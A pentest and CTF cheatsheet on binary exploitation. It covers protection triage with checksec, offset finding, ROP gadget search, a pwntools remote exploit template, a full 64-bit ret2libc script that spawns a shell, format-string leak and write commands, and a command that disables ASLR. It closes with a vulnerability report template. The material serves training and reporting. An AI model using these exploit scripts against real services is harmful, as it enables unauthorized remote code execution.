Identify exploitation path based on protections: ret2win / ret2libc / ROP / ret2plt
Find useful gadgets: ROPgadget --binary [BINARY] or ropper -f [BINARY]
Write and test exploit locally before submitting to remote target
π― Operational Context
Use when: A CTF challenge, HackTheBox machine, or penetration test exposes a compiled binary (ELF/PE) that accepts user input β assess for classic buffer overflow, format string, or use-after-free vulnerabilities.
Think Dumber First:checksec first β always. If NX is disabled, stack shellcode works. If no canary, buffer overflow is straightforward. If no PIE, addresses are static and known. Reduce the problem to its simplest form before attempting complex ROP chains.
Skip when: Source code is available β audit the code directly (strcpy, gets, sprintf without bounds = immediate vulnerable sink). Binary exploitation requires CPTS Advanced Labs or UBA Masterβs modules for full coverage; this file covers initial triage and common CTF-level patterns.
β‘ Tactical Cheatsheet
Binary Analysis
Command
Tactical Outcome
checksec --file=[BINARY]
Show all active protections (NX, Canary, ASLR, PIE, RELRO)
file [BINARY]
Architecture, format (ELF32/ELF64/PE), stripped/not stripped
run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*200)")
Feed input to binary
pattern create 200 (pwndbg)
Generate De Bruijn cyclic pattern
pattern offset [VALUE] (pwndbg)
Find offset from crash EIP/RIP value
cyclic 200 | ./[BINARY] (pwntools)
Crash with cyclic pattern
cyclic -l [CRASH_BYTES]
Calculate offset from pattern
x/20wx $esp
Examine stack (32-bit)
x/20gx $rsp
Examine stack (64-bit)
info functions
List all functions (find win/secret/flag functions)
disas [FUNCTION]
Disassemble a function
b *[ADDRESS]
Set breakpoint at address
vmmap (pwndbg)
Show memory map β check stack executable flag
ROP / Exploit Development
Command
Tactical Outcome
ROPgadget --binary [BINARY] --rop
Find all ROP gadgets
ROPgadget --binary [BINARY] --string '/bin/sh'
Find /bin/sh string address
ropper -f [BINARY] --search 'pop rdi'
Find specific gadget
one_gadget [LIBC.SO]
Find one-gadget shell in libc (no arg setup needed)
p64(ADDRESS) (pwntools)
Pack 64-bit little-endian address
p32(ADDRESS) (pwntools)
Pack 32-bit little-endian address
pwntools β Remote Exploit Template
Function
Tactical Outcome
from pwn import *
Import pwntools
p = process('./[BINARY]')
Local process
p = remote('[TARGET]', [PORT])
Remote connection
payload = b'A' * [OFFSET] + p64([RIP_VALUE])
Basic overflow payload
p.sendline(payload)
Send payload
p.interactive()
Drop to interactive shell
p.recvuntil(b'prompt')
Read until expected string
π¬ Deep Dive & Workflow
Protection Decision Matrix
checksec output β Exploitation approach:
NX=disabled, No Canary, No PIE β Shellcode on stack (simplest)
NX=enabled, No Canary, No PIE β ret2win or ret2libc with fixed addresses
NX=enabled, No Canary, PIE β Need leak to defeat PIE; then ret2win/ret2libc
NX=enabled, Canary, No PIE β Need canary leak; then ret2libc
NX=enabled, Canary, PIE β Full RELRO: hardest; need multiple leaks
ret2libc β 64-bit (NX enabled, no PIE, no canary)
from pwn import *BINARY = './vuln'LIBC = '/lib/x86_64-linux-gnu/libc.so.6'elf = ELF(BINARY)libc = ELF(LIBC)# Step 1: Find gadgets# ROPgadget --binary ./vuln --rop | grep "pop rdi"pop_rdi = 0x[GADGET_ADDR] # pop rdi; retret = 0x[RET_GADGET] # ret (for stack alignment on 64-bit)bin_sh = next(libc.search(b'/bin/sh'))system = libc.symbols['system']# Note: For ASLR-disabled or leaked libc base:libc.address = 0x[LIBC_BASE] # 0 if ASLR disabled; leaked value if enabled# Step 2: Build ROP chainoffset = [OFFSET]payload = b'A' * offsetpayload += p64(pop_rdi)payload += p64(libc.address + bin_sh)payload += p64(ret) # Stack alignment for 64-bit system() callpayload += p64(libc.address + system)p = process(BINARY)p.sendline(payload)p.interactive()
Format String Vulnerability β Quick Identification
# Test: if input is reflected in output with %x or %s, format string vuln presentecho "%p.%p.%p.%p" | ./vuln # Leaks stack addressesecho "%s" | ./vuln # May crash (dereferencing garbage pointer)echo "%7$p" | ./vuln # Direct parameter access β position 7# Find offset to control:python3 -c "print('AAAA' + '.%p'*20)" | ./vuln# Look for 0x41414141 in output β that position is your write target# Arbitrary write via %n (write number of chars printed to address):# Full format string exploitation is advanced β see pwntools fmtstr_payload()python3 -c "from pwn import *; fmtstr_payload(offset, {target_addr: value})"
checksec Interpretation β Quick Reference
checksec --file=./vuln# Output:# RELRO: Full RELRO β GOT is read-only; no GOT overwrite# Stack: Canary found β Must leak canary before overflow# NX: NX enabled β No shellcode on stack; need ROP# PIE: PIE enabled β Binary base randomized; need leak# ASLR: β Check /proc/sys/kernel/randomize_va_space# 0=disabled, 1=partial, 2=full# Disable ASLR for local testing:echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
π οΈ Troubleshooting & Edge Cases
Problem
Cause
Fix
cyclic pattern doesnβt crash binary
Buffer smaller than expected
Increase pattern size; check if input is truncated by newline or null
EIP/RIP shows garbage not pattern
Crash elsewhere (heap, segfault before overflow)
Use ltrace to watch input processing; check for off-by-one errors
ret2win address correct but no shell
Stack alignment issue (64-bit)
Add extra ret gadget before function address for 16-byte alignment
system() called but no shell
/bin/sh path wrong or ASLR defeating libc addr
Verify libc base: ldd ./vuln; use one_gadget as alternative
Exploit works locally but not remote
Different libc version on server
Leak libc base via format string or puts; identify via libc-database
pwntools process() hangs
Binary waiting for input
Use p.recvuntil(b'prompt') before sending; check expected input sequence
GDB shows different addresses than expected
PIE enabled
Run vmmap in pwndbg to see actual base; calculate offset from base
π Reporting Trigger
Finding Title: Stack Buffer Overflow Vulnerability in Binary β Remote Code Execution
Impact: Stack buffer overflow in [BINARY/FUNCTION] allows an attacker to overwrite the return address and redirect execution to attacker-controlled code, achieving remote code execution in the context of the running service. Severity escalates significantly if the service runs as root/SYSTEM.
Root Cause: Use of unsafe C functions (gets(), strcpy(), sprintf() without bounds checking) that copy user-supplied data into fixed-size stack buffers without length validation. Binary compiled without stack canaries or NX protection.
Recommendation: Replace unsafe functions with bounded equivalents (fgets(), strncpy(), snprintf()). Compile with stack protection flags: -fstack-protector-all -D_FORTIFY_SOURCE=2. Enable NX (-z noexecstack) and PIE (-fPIE -pie). Apply full RELRO (-z relro -z now). Conduct static analysis with cppcheck, flawfinder, or CodeQL.